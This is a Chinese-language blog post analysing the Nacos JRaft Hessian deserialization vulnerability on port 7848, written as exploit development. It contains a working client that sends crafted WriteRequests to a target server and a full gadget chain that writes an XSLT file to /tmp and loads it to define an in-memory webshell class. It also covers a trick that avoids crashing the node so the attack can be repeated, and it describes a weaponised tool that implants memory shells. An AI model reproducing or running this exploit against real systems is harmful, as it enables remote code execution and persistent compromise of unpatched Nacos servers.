Nacos JRaft Hessian 反序列化分析

0x00 前言

5月25日 Nacos 发布一条安全公告,声称其在 2.2.3 和 1.4.6 两个大版本修复了 7848 端口下一处 Hessian 反序列化漏洞;网上有许多分析,但没有一篇分析能够把问题阐述清楚且解决掉,于是写下这篇文章,仅做记录。

0x01 漏洞分析

既然是 Hessian 反序列化,第一步要做的是查找对应的反序列化触发点,在项目中搜索 Hessian 可得到如下结果:

image-20230614150339570

挨个查看后发现 HessianSerializer 是实际反序列化的触发点,但代码中不会直接调用它,而是通过 SerializeFactory 根据预期的反序列化漏洞(JSON、Hessian)获取实际的反序列化实现类,默认的反序列化实现为 HessianSerializer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class SerializeFactory {

public static final String HESSIAN_INDEX = "Hessian".toLowerCase();

private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap<>(4);

public static String defaultSerializer = HESSIAN_INDEX;

static {
Serializer serializer = new HessianSerializer();
SERIALIZER_MAP.put(HESSIAN_INDEX, serializer);
for (Serializer item : NacosServiceLoader.load(Serializer.class)) {
SERIALIZER_MAP.put(item.name().toLowerCase(), item);
}
}

public static Serializer getDefault() {
return SERIALIZER_MAP.get(defaultSerializer);
}

public static Serializer getSerializer(String type) {
return SERIALIZER_MAP.get(type.toLowerCase());
}
}

搜索发现代码中并没有调用 getSerializer(“Hessian”) 的操作,因此转而继续搜索 SerializeFactory.getDefault(),得到如下结果:

image-20230613231747132

继续分析后发现 JRaftProtocol、JRaftServer 等都不是实际的触发点,它们并不会调用 serializer.deserialize 方法,实际调用的只有 PersistentClientOperationServiceImpl、ServiceMetadataProcessor、InstanceMetadataProcessor、DistributedDatabaseOperateImpl 四个类。

观察后发现这几个类有几个共同点,比如都继承了 RequestProcessor4CP,并且都实现了 onApply、onRequest、group 这三个方法,根据之前审代码的经验,基本可以确定 Nacos 是根据 group 方法对应的 groupId 决定请求是下发给哪个类进行处理

image-20230613232859714

image-20230613232915768

接下来的过程很痛苦,大致就是知道漏洞在哪,但不知道怎么调过去,最后参考了网上诸多文章,终于写出了个客户端 Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.alibaba.nacos.consistency.entity.GetRequest;
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.RpcClient;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.alipay.sofa.jraft.util.Endpoint;
import com.caucho.hessian.io.Hessian2Output;
import com.google.protobuf.ByteString;
import com.google.protobuf.Message;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Map;

public class JRaftClient {
public static void main(String[] args)throws Exception {
final CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
setProperties(cliClientService.getRpcClient());

WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(serialize("hessian_payload_object"));
Object o = cliClientService.getRpcClient().invokeSync(new Endpoint("172.16.0.8", 7848), writeRequestBuilder.build(), 10000);
}

@SuppressWarnings("unchecked")
public static void setProperties(RpcClient rpcClient) throws Exception {
Field parserClasses = rpcClient.getClass().getDeclaredField("parserClasses");
parserClasses.setAccessible(true);
Map<String, Message> map = (Map<String, Message>) parserClasses.get(rpcClient);
map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
map.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());

Field messages = MarshallerHelper.class.getDeclaredField("messages");
messages.setAccessible(true);
Map<String, Message> messageMap = (Map<String, Message>) messages.get(MarshallerHelper.class);
messageMap.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());
messageMap.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());
}

public static ByteString serialize(Object o) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(bos);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(o);
out.close();

return ByteString.copyFrom(bos.toByteArray());
}
}

其中 WriteRequest 那段的 setData 则是用来设置反序列化的 payload,最终触发 Hessian 反序列化:

image-20230613233717974

0x02 漏洞利用

上面是完整的漏洞原理分析,接下来解决一些网上说的普遍存在的问题。

2.0 无损利用原理

网传这个漏洞最大的问题就是打一次就崩,那么到底是为什么打一次就崩呢?经过深入分析发现,Nacos 在反序列化时并没有使用异常处理,导致 Hessian 反序列化后的对象与预期的对象不符,此时产生对象转换异常。

image-20230613234201653

产生异常后会将当前节点的状态设置为 STATE_ERROR,回溯历史调用栈发现 AbstractProcessor 会先获取 group 对应的 Node,并判断 Node 是否为 leaderNode,如果不是则返回错误,反之才会调用 execute 方法继续往下走。

image-20230613234409053

如果某个 Node 在反序列化时产生异常,则其状态为 State.STATE_ERROR,不符合 isLeader 的逻辑,因此无法正常服务:

image-20230613234438245

那么应该如何解决这个问题呢,观察反序列化的代码可以发现预期是希望返回 MetadataOperation 对象:

1
MetadataOperation<ServiceMetadata> op = (MetadataOperation)this.serializer.deserialize(request.getData().toByteArray(), this.processType);

这个对象有一个属性 metadata 是泛型,也就是它是任意类型都可以,所以不难想到我们可以构造一个 MetadataOperation 对象,并在其 metadata 属性设置恶意对象,这样设置可以让反序列化后的对象符合预期,不会产生报错,此时 Node 不触发异常,后续即可正常服务。

2.1 更加通用的 gadget

网传使用的 gadget 一般是 JNDI、BCEL,因为 JNDI 需要出网,且 BCELClassLoader 在 8.x 的较高版本中不存在了,因此算不上是比较完美的利用。那么就没有完美的利用了吗?其实并不是,通过 BCEL + 写文件就可以实现一个比较通用的解法。

利用 SwingLazyValue 结合 com.sun.org.apache.xml.internal.security.utils.JavaUtils 和 com.sun.org.apache.xalan.internal.xslt.Process 可以写入本地文件后通过 XSLT 加载最终实现不出网的任意代码执行。

相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;

public class HessianPayload {

final static String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";

public static String genClassName() {
Random random = new Random();
int length = random.nextInt(10) + 1; // 随机生成字符串的长度,范围从1到10
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; i++) {
char c = (char) (random.nextInt('z' - 'a') + 'a'); // 生成随机字符,范围从a到z
sb.append(c);
}
return sb.toString();
}

public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}

public static Object genPayload(String payloadType) throws Exception {
SwingLazyValue value = null;
if (payloadType.equals("writeFile")) {
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(MemShell.class));
CtClass cc = cp.get(MemShell.class.getName());
cc.setName(genClassName());
byte[] bs = cc.toBytecode();
String base64Code = new sun.misc.BASE64Encoder().encode(bs).replaceAll("\n", "");
String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", cc.getName());
value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/nacos_data_temp", xslt.getBytes()});
} else if (payloadType.equals("xslt")) {
value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///tmp/nacos_data_temp"}});
}


UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(value, value);

Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(value, value);

return makeMap(uiDefaults, hashtable);
}
}

但这也产生了一个不算问题的问题,即我们需要打两次反序列化才能走完所有的流程。

2.2 一个 Hessian 反序列化技巧

2.1 中介绍的 XSLT 反序列加载本地文件正常情况下需要发两次包触发两次 Hessian 反序列才能实现代码执行,大哥教了我一个方法可以在一个请求内触发所有的 payload(不依赖于 gadget 本身):

原理是自己修改实现类的代码,把原类从 lib 中删除,自定义的增加几个 Object 类型的属性,在 Server 进行反序列化时也会将这几个属性一块反序列化了,这部分涉及到 Hessian 对字节数组的解析逻辑,不在这篇文章中分析了。

2.3 探明 “真正” 的漏洞影响范围

网上许多应急文章都有传 Nacos 1.x 也受影响,经过深入分析后发现这可能是一次误判;这里说的误判不代表 Nacos 在 1.x 不存在 Hessian 反序列化的隐患,只是说无法正常利用。

对 1.4.x 进行分析后发现,调用了 SerializeFactory.getDefault()#deserialize 方法的只有 DistributedDatabaseOperateImpl 这一个类,其它的都是利用 Jackson 实现的反序列化。

DistributedDatabaseOperateImpl 对应的 groupId 为 nacos_config,实测发现我们是无法通过 RPC 调到这个 groupId 对应的 onApply 方法的,因此自然也不存在 Hessian 反序列化漏洞的利用。

0x03 武器化

我基于上面漏洞利用的原理编写了一个漏洞利用工具,输入 ip、webPort、raftPort、groupId 即可返还给你一个内存马。

完整流程为:通过 web 获取 Nacos 版本并与受影响的版本进行匹配 -> 发起 RPC 请求触发反序列化 -> 遍历线程中马。

image-20230614000906843

对于不存在漏洞的版本输出提示:

image-20230614004300087